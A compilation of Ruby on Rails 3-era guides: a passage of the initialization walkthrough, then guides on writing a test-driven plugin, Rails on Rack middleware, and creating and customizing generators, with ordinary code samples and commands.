2.48 `activerecord/lib/active_record.rb`

This file begins by detecting if the `lib` directories of `active_support` and `active_model` are not in the load path and if they aren't then adds them. As we saw back in `action_dispatch.rb`, these directories are already there.

The first three requires have already been done by other files and so aren't loaded here, but the 4th require, the one to `arel` will require the file provided by the Arel gem, which defines the `Arel` module.

```
require 'active_support'
require 'active_support/i18n'
require 'active_model'
require 'arel'
```

The 5th require in this file is one to `active_record/version` which defines the `ActiveRecord::VERSION` constant:

```
module ActiveRecord
  module VERSION #:nodoc:
    MAJOR = 3
    MINOR = 1
    TINY  = 0
    PRE   = "beta"

    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
  end
end
```

Once these requires are finished, the base for the `ActiveRecord` module is defined along with its autoloads.

Near the end of the file, we see this line:

```
ActiveSupport.on_load(:active_record) do
  Arel::Table.engine = self
end
```

This will set the engine for `Arel::Table` to be `ActiveRecord::Base`.

The file then finishes with this line:

```
I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
```

This will add the translations from `activerecord/lib/active_record/locale/en.yml` to the load path for `I18n`, with this file being parsed when all the translations are loaded.

2.49 Back to `activerecord/lib/active_record/railtie.rb`

The next two `requires` in this file aren't run because their files are already required, with `rails` being required by `rails/all` and `active_model/railtie` being required from `action_dispatch`.

```
require "rails"
require "active_model/railtie"
```

The next `require` in this file is to `action_controller/railtie`.

2.50 `actionpack/lib/action_controller/railtie.rb`

This file begins with a couple more requires to files that have already been loaded:

```
require "rails"
require "action_controller"
require "action_dispatch/railtie"
```

However the require after these is to a file that hasn't yet been loaded, `action_view/railtie`, which begins by requiring `action_view`.

2.51 `actionpack/lib/action_view.rb`

```
action_view.rb
```

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

The Basics of Creating Rails Plugins

A Rails plugin is either an extension or a modification of the core framework. Plugins provide:

- a way for developers to share bleeding-edge ideas without hurting the stable code base
- a segmented architecture so that units of code can be fixed or updated on their own release schedule
- an outlet for the core developers so that they don't have to include every cool new feature under the sun

After reading this guide you should be familiar with:

- Creating a plugin from scratch
- Writing and running tests for the plugin

This guide describes how to build a test-driven plugin that will:

- Extend core ruby classes like Hash and String
- Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
- Give you information about where to put generators in your plugin.

For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.

Chapters

1. Setup
    - Either generate a vendored plugin...
    - Or generate a gemified plugin.
2. Testing your newly generated plugin
3. Extending Core Classes
4. Add an "acts_as" Method to Active Record
    - Add a Class Method
    - Add an Instance Method
5. Generators
6. Publishing your Gem
7. Non-Gem Plugins
8. RDoc Documentation
    - References

1 Setup

Before you continue, take a moment to decide if your new plugin will be potentially shared across different Rails applications.

- If your plugin is specific to your application, your new plugin will be a *vendored plugin*.
- If you think your plugin may be used across applications, build it as a *gemified plugin*.

1.1 Either generate a vendored plugin...

Use the `rails generate plugin` command in your Rails root directory to create a new plugin that will live in the `vendor/plugins` directory. See usage and options by asking for help:

```
$ rails generate plugin --help
```

1.2 Or generate a gemified plugin.

Writing your Rails plugin as a gem, rather than as a vendored plugin, lets you share your plugin across different rails applications using RubyGems and Bundler.

Rails 3.1 ships with a `rails plugin new` command which creates a skeleton for developing any kind of Rails extension with the ability to run integration tests using a dummy Rails application. See usage and options by asking for help:

```
$ rails plugin --help
```

2 Testing your newly generated plugin

You can navigate to the directory that contains the plugin, run the `bundle install` command and run the one generated test using the `rake` command.

You should see:

```
2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
```

This will tell you that everything got generated properly and you are ready to start adding functionality.

3 Extending Core Classes

This section will explain how to add a method to String that will be available anywhere in your rails application.

In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:

```
# yaffle/test/core_ext_test.rb

require 'test_helper'

class CoreExtTest < Test::Unit::TestCase
  def test_to_squawk_prepends_the_word_squawk
    assert_equal "squawk! Hello World", "Hello World".to_squawk
  end
end
```

Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method:

```
1) Error:
 test_to_squawk_prepends_the_word_squawk(CoreExtTest):
 NoMethodError: undefined method `to_squawk' for "Hello World":String
     test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
```

Great – now you are ready to start development.

Then in `lib/yaffle.rb` require `lib/core_ext`:

```
# yaffle/lib/yaffle.rb

require "yaffle/core_ext"

module Yaffle
end
```

Finally, create the `core_ext.rb` file and add the `to_squawk` method:

```
# yaffle/lib/yaffle/core_ext.rb

String.class_eval do
  def to_squawk
    "squawk! #{self}".strip
  end
end
```

To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.

```
3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
```

To see this in action, change to the test/dummy directory, fire up a console and start squawking:

```
$ rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"
```

4 Add an "acts_as" Method to Active Record

A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.

To begin, set up your files so that you have:

```
# yaffle/test/acts_as_yaffle_test.rb

require 'test_helper'

class ActsAsYaffleTest < Test::Unit::TestCase
end
```

```
# yaffle/lib/yaffle.rb
```

```
require "yaffle/core_ext"
require 'yaffle/acts_as_yaffle'

module Yaffle
end
```

```
# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
    # your code will go here
  end
end
```

4.1 Add a Class Method

This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.

To start out, write a failing test that shows the behavior you'd like:

```
# yaffle/test/acts_as_yaffle_test.rb

require 'test_helper'

class ActsAsYaffleTest < Test::Unit::TestCase

  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
    assert_equal "last_squawk", Hickwall.yaffle_text_field
  end

  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
    assert_equal "last_tweet", Wickwall.yaffle_text_field
  end

end
```

When you run `rake`, you should see the following:

```
1) Error:
 test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
 NameError: uninitialized constant ActsAsYaffleTest::Hickwall
     test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'

   2) Error:
 test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
 NameError: uninitialized constant ActsAsYaffleTest::Wickwall
     test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'

 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
```

This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. We can easily generate these models in our "dummy" Rails application by running the following commands from the test/dummy directory:

```
$ cd test/dummy
$ rails generate model Hickwall last_squawk:string
$ rails generate model Wickwall last_squawk:string last_tweet:string
```

Now you can create the necessary database tables in your testing database by navigating to your dummy app and migrating the database. First

```
$ cd test/dummy
$ rake db:migrate
$ rake db:test:prepare
```

While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act like yaffles.

```
# test/dummy/app/models/hickwall.rb

class Hickwall < ActiveRecord::Base
```

```
  acts_as_yaffle
end

# test/dummy/app/models/wickwall.rb

class Wickwall < ActiveRecord::Base
  acts_as_yaffle :yaffle_text_field => :last_tweet
end
```

We will also add code to define the acts_as_yaffle method.

```
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
  module ActsAsYaffle
    extend ActiveSupport::Concern

    included do
    end

    module ClassMethods
      def acts_as_yaffle(options = {})
        # your code will go here
      end
    end
  end
end

ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```

You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`.

```
1) Error:
 test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
 NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
     /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
     test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'

   2) Error:
 test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
 NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
     Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
     test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'

 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
```

Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.

```
# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
   extend ActiveSupport::Concern

    included do
    end

    module ClassMethods
      def acts_as_yaffle(options = {})
        cattr_accessor :yaffle_text_field
        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
      end
    end
  end
end

ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```

When you run `rake` you should see the tests all pass:

```
5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
```

4.2 Add an Instance Method

This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database.

To start out, write a failing test that shows the behavior you'd like:

```
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'

class ActsAsYaffleTest < Test::Unit::TestCase

  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
    assert_equal "last_squawk", Hickwall.yaffle_text_field
  end

  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
    assert_equal "last_tweet", Wickwall.yaffle_text_field
  end

  def test_hickwalls_squawk_should_populate_last_squawk
    hickwall = Hickwall.new
    hickwall.squawk("Hello World")
    assert_equal "squawk! Hello World", hickwall.last_squawk
  end

  def test_wickwalls_squawk_should_populate_last_tweet
    wickwall = Wickwall.new
    wickwall.squawk("Hello World")
    assert_equal "squawk! Hello World", wickwall.last_tweet
  end
end
```

Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this:

```
# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
    extend ActiveSupport::Concern

    included do
    end

    module ClassMethods
      def acts_as_yaffle(options = {})
        cattr_accessor :yaffle_text_field
        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
      end
    end

    def squawk(string)
      write_attribute(self.class.yaffle_text_field, string.to_squawk)
    end

  end
end

ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```

Run `rake` one final time and you should see:

```
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
```

The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.

5 Generators

Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the **Generators Guide**

6 Publishing your Gem

6 Publishing your Gem

Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question:

```
gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
```

After running `bundle install`, your gem functionality will be available to the application.

When the gem is ready to be shared as a formal release, it can be published to **RubyGems**. For more information about publishing gems to RubyGems, see: **http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html**

7 Non-Gem Plugins

Non-gem plugins are useful for functionality that won't be shared with another project. Keeping your custom functionality in the vendor/plugins directory un-clutters the rest of the application.

Move the directory that you created for the gem based plugin into the vendor/plugins directory of a generated Rails application, create a vendor/plugins/yaffle/init.rb file that contains "require 'yaffle'" and everything will still work.

```
# yaffle/init.rb

require 'yaffle'
```

You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the console we can check to see if the String has an instance method to_squawk:

```
$ cd my_app
$ rails console
$ "Rails plugins are easy!".to_squawk
```

You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed.

8 RDoc Documentation

Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.

The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:

- Your name
- How to install
- How to add the functionality to the app (several examples of common use cases)
- Warnings, gotchas or tips that might help users and save them time

Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api.

Once your comments are good to go, navigate to your plugin directory and run:

```
$ rake rdoc
```

8.1 References

- **Developing a RubyGem using Bundler**
- **Using Gemspecs As Intended**
- **Gemspec Reference**
- **GemPlugins**
- **Keeping init.rb thin**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Rails on Rack

This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:

- Create Rails Metal applications
- Use Rack Middlewares in your Rails applications
- Understand Action Pack's internal Middleware stack
- Define a custom Middleware stack

Chapters

1. Introduction to Rack
2. Rails on Rack
   - Rails Application's Rack Object
   - `rails server`
   - `rackup`
3. Action Controller Middleware Stack
   - Inspecting Middleware Stack
   - Configuring Middleware Stack
   - Internal Middleware Stack
   - Customizing Internal Middleware Stack
   - Using Rack Builder
4. Resources
   - Learning Rack
   - Understanding Middlewares

This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.

1 Introduction to Rack

> *Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.*

\- Rack API Documentation

Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the Resources section below.

2 Rails on Rack

2.1 Rails Application's Rack Object

`ActionController::Dispatcher.new` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using `ActionController::Dispatcher.new` object to serve a Rails application.

2.2 `rails server`

`rails server` does the basic job of creating a `Rack::Builder` object and starting the webserver. This is Rails' equivalent of Rack's `rackup` script.

Here's how `rails server` creates an instance of `Rack::Builder`

```
app = Rack::Builder.new {
  use Rails::Rack::LogTailer unless options[:detach]
  use Rails::Rack::Debugger if options[:debugger]
  use ActionDispatch::Static
  run ActionController::Dispatcher.new
}.to_app
```

Middlewares used in the code above are primarily useful only in the development environment. The following table explains their usage:

Middleware	Purpose
`Rails::Rack::LogTailer`	Appends log file output to console
`ActionDispatch::Static`	Serves static files inside `Rails.root/public` directory
`Rails::Rack::Debugger`	Starts Debugger

2.3 `rackup`

To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:

```
# Rails.root/config.ru
require "config/environment"

use Rails::Rack::LogTailer
use ActionDispatch::Static
run ActionController::Dispatcher.new
```

And start the server:

```
$ rackup config.ru
```

To find out more about different `rackup` options:

```
$ rackup --help
```

3 Action Controller Middleware Stack

Many of Action Controller's internal components are implemented as Rack middlewares. `ActionController::Dispatcher` uses `ActionController::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.

`ActionController::MiddlewareStack` is Rails' equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.

3.1 Inspecting Middleware Stack

Rails has a handy rake task for inspecting the middleware stack in use:

```
$ rake middleware
```

For a freshly generated Rails application, this might produce something like:

```
use ActionDispatch::Static
use Rack::Lock
use ActiveSupport::Cache::Strategy::LocalCache
use Rack::Runtime
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use Rack::Sendfile
```

```
use ActionDispatch::Callbacks
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ParamsParser
use Rack::MethodOverride
use ActionDispatch::Head
use ActionDispatch::BestStandardsSupport
run Blog::Application.routes
```

Purpose of each of this middlewares is explained in the **Internal Middlewares** section.

3.2 Configuring Middleware Stack

Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.

3.2.1 Adding a Middleware

You can add a new middleware to the middleware stack using any of the following methods:

- `config.middleware.use(new_middleware, args)` – Adds the new middleware at the bottom of the middleware stack.
- `config.middleware.insert_before(existing_middleware, new_middleware, args)` – Adds the new middleware before the specified existing middleware in the middleware stack.
- `config.middleware.insert_after(existing_middleware, new_middleware, args)` – Adds the new middleware after the specified existing middleware in the middleware stack.

```
# config/application.rb

# Push Rack::BounceFavicon at the bottom
config.middleware.use Rack::BounceFavicon

# Add Lifo::Cache after ActiveRecord::QueryCache.
# Pass { :page_cache => false } argument to Lifo::Cache.
config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
```

3.2.2 Swapping a Middleware

You can swap an existing middleware in the middleware stack using `config.middleware.swap`.

```
# config/application.rb

# Replace ActionController::Failsafe with Lifo::Failsafe
config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
```

3.2.3 Middleware Stack is an Array

The middleware stack behaves just like a normal `Array`. You can use any `Array` methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.

For example, the following removes the middleware matching the supplied class name:

```
config.middleware.delete(middleware)
```

3.3 Internal Middleware Stack

Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of

each of them:

Middleware	Purpose
`Rack::Lock`	Sets `env["rack.multithread"]` flag to `true` and wraps the application within a Mutex.
`ActionController::Failsafe`	Returns HTTP Status `500` to the client if an exception gets raised while dispatching.
`ActiveRecord::QueryCache`	Enables the Active Record query cache.
`ActionDispatch::Session::CookieStore`	Uses the cookie based session store.
`ActionDispatch::Session::CacheStore`	Uses the Rails cache based session store.
`ActionDispatch::Session::MemCacheStore`	Uses the memcached based session store.
`ActiveRecord::SessionStore`	Uses the database based session store.
`Rack::MethodOverride`	Sets HTTP method based on `_method` parameter or `env["HTTP_X_HTTP_METHOD_OVERRIDE"]`.
`Rack::Head`	Discards the response body if the client sends a `HEAD` request.

It's possible to use any of the above middlewares in your custom Rack stack.

3.4 Customizing Internal Middleware Stack

It's possible to replace the entire middleware stack with a custom stack using `ActionController::Dispatcher.middleware=`.

Put the following in an initializer:

```
# config/initializers/stack.rb
ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
  m.use ActionController::Failsafe
  m.use ActiveRecord::QueryCache
  m.use Rack::Head
end
```

And now inspecting the middleware stack:

```
$ rake middleware
(in /Users/lifo/Rails/blog)
use ActionController::Failsafe
use ActiveRecord::QueryCache
use Rack::Head
run ActionController::Dispatcher.new
```

3.5 Using Rack Builder

The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.

Clear the existing Rails middleware stack

```
# config/application.rb
config.middleware.clear
```

Add a `config.ru` file to `Rails.root`

```
# config.ru
use MyOwnStackFromScratch
run ActionController::Dispatcher.new
```

4 Resources

4.1 Learning Rack

- **Official Rack Website**
- **Introducing Rack**
- **Ruby on Rack #1 – Hello Rack!**
- **Ruby on Rack #2 – The Builder**

4.2 Understanding Middlewares

- **Railscast on Rack Middlewares**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Creating and Customizing Rails Generators & Templates

Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.

In this guide you will:

- Learn how to see which generators are available in your application
- Create a generator using templates
- Learn how Rails searches for generators before invoking them
- Customize your scaffold by creating new generators
- Customize your scaffold by changing generator templates
- Learn how to use fallbacks to avoid overwriting a huge set of generators
- Learn how to create an application template

Chapters

1. First Contact
2. Creating Your First Generator
3. Creating Generators with Generators
4. Generators Lookup
5. Customizing Your Workflow
6. Customizing Your Workflow by Changing Generators Templates
7. Adding Generators Fallbacks
8. Application Templates
9. Generator methods
    - `plugin`
    - `gem`
    - `gem_group`
    - `add_source`
    - `application`
    - `git`
    - `vendor`
    - `lib`
    - `rakefile`
    - `initializer`
    - `generate`
    - `rake`
    - `capify!`
    - `route`
    - `readme`

This guide is about generators in Rails 3, previous versions are not covered.

1 First Contact

When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:

```
$ rails new myapp
$ cd myapp
$ rails generate
```

You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:

example, you can simply do:

```
$ rails generate helper --help
```

2 Creating Your First Generator

Since Rails 3.0, generators are built on top of **Thor**. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.

The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:

```
class InitializerGenerator < Rails::Generators::Base
  def create_initializer_file
    create_file "config/initializers/initializer.rb", "# Add initialization content here"
  end
end
```

`create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in **Thor's documentation**

Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.

To invoke our new generator, we just need to do:

```
$ rails generate initializer
```

Before we go on, let's see our brand new generator description:

```
$ rails generate initializer --help
```

Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:

```
class InitializerGenerator < Rails::Generators::Base
  desc "This generator creates an initializer file at config/initializers"
  def create_initializer_file
    create_file "config/initializers/initializer.rb", "# Add initialization content here"
  end
end
```

Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.

3 Creating Generators with Generators

Generators themselves have a generator:

```
$ rails generate generator initializer
      create  lib/generators/initializer
      create  lib/generators/initializer/initializer_generator.rb
      create  lib/generators/initializer/USAGE
      create  lib/generators/initializer/templates
```

This is the generator just created:

```
class InitializerGenerator < Rails::Generators::NamedBase
  source_root File.expand_path("../templates", __FILE__)
end
```

First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available

means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.

We can see that by invoking the description of this new generator (don't forget to delete the old generator file):

```
$ rails generate initializer --help
Usage:
  rails generate initializer NAME [options]
```

We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.

In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:

```
# Add initialization content here
```

And now let's change the generator to copy this template when invoked:

```
class InitializerGenerator < Rails::Generators::NamedBase
  source_root File.expand_path("../templates", __FILE__)

  def copy_initializer_file
    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
  end
end
```

And let's execute our generator:

```
$ rails generate initializer core_extensions
```

We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.

The methods that are available for generators are covered in the **final section** of this guide.

4 Generators Lookup

When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:

```
rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb
```

If none is found you get an error message.

The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.

5 Customizing Your Workflow

Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:

```
config.generators do |g|
  g.orm             :active_record
  g.template_engine :erb
  g.test_framework  :test_unit, :fixture => true
end
```

Before we customize our workflow, let's first see what our scaffold looks like:

```
$ rails generate scaffold User name:string
      invoke  active_record
```

```
      invoke  active_record
      create    db/migrate/20091120125558_create_users.rb
      create    app/models/user.rb
      invoke    test_unit
      create      test/unit/user_test.rb
      create      test/fixtures/users.yml
       route  resources :users
      invoke  scaffold_controller
      create    app/controllers/users_controller.rb
      invoke    erb
      create      app/views/users
      create      app/views/users/index.html.erb
      create      app/views/users/edit.html.erb
      create      app/views/users/show.html.erb
      create      app/views/users/new.html.erb
      create      app/views/users/_form.html.erb
      invoke    test_unit
      create      test/functional/users_controller_test.rb
      invoke    helper
      create      app/helpers/users_helper.rb
      invoke      test_unit
      create        test/unit/helpers/users_helper_test.rb
      invoke  stylesheets
      create    app/assets/stylesheets/scaffold.css
```

Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.

Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:

```
config.generators do |g|
  g.orm             :active_record
  g.template_engine :erb
  g.test_framework  :test_unit, :fixture => false
  g.stylesheets     false
end
```

If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.

To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:

```
$ rails generate generator rails/my_helper
```

After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:

```
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
  def create_helper_file
    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
  attr_reader :#{plural_name}, :#{plural_name.singularize}
end
    FILE
  end
end
```

We can try out our new generator by creating a helper for users:

We can try out our new generator by creating a helper for users:

```
$ rails generate my_helper products
```

And it will generate the following helper file in `app/helpers`:

```
module ProductsHelper
  attr_reader :products, :product
end
```

Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:

```
config.generators do |g|
  g.orm             :active_record
  g.template_engine :erb
  g.test_framework  :test_unit, :fixture => false
  g.stylesheets     false
  g.helper          :my_helper
end
```

and see it in action when invoking the generator:

```
$ rails generate scaffold Post body:text
      [...]
      invoke    my_helper
      create      app/helpers/posts_helper.rb
```

We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.

Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.

To do that, we can change the generator this way:

```
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
  def create_helper_file
    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
  attr_reader :#{plural_name}, :#{plural_name.singularize}
end
    FILE
  end

  hook_for :test_framework
end
```

Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:

```
# Search for :helper instead of :my_helper
hook_for :test_framework, :as => :helper
```

And now you can re-run scaffold for another resource and see it generating tests as well!

6 Customizing Your Workflow by Changing Generators Templates

In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.

In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:

```
module <%= class_name %>Helper
  attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
end
```

and revert the last change in `config/application.rb`:

```
config.generators do |g|
  g.orm             :active_record
  g.template_engine :erb
  g.test_framework  :test_unit, :fixture => false
  g.stylesheets     false
end
```

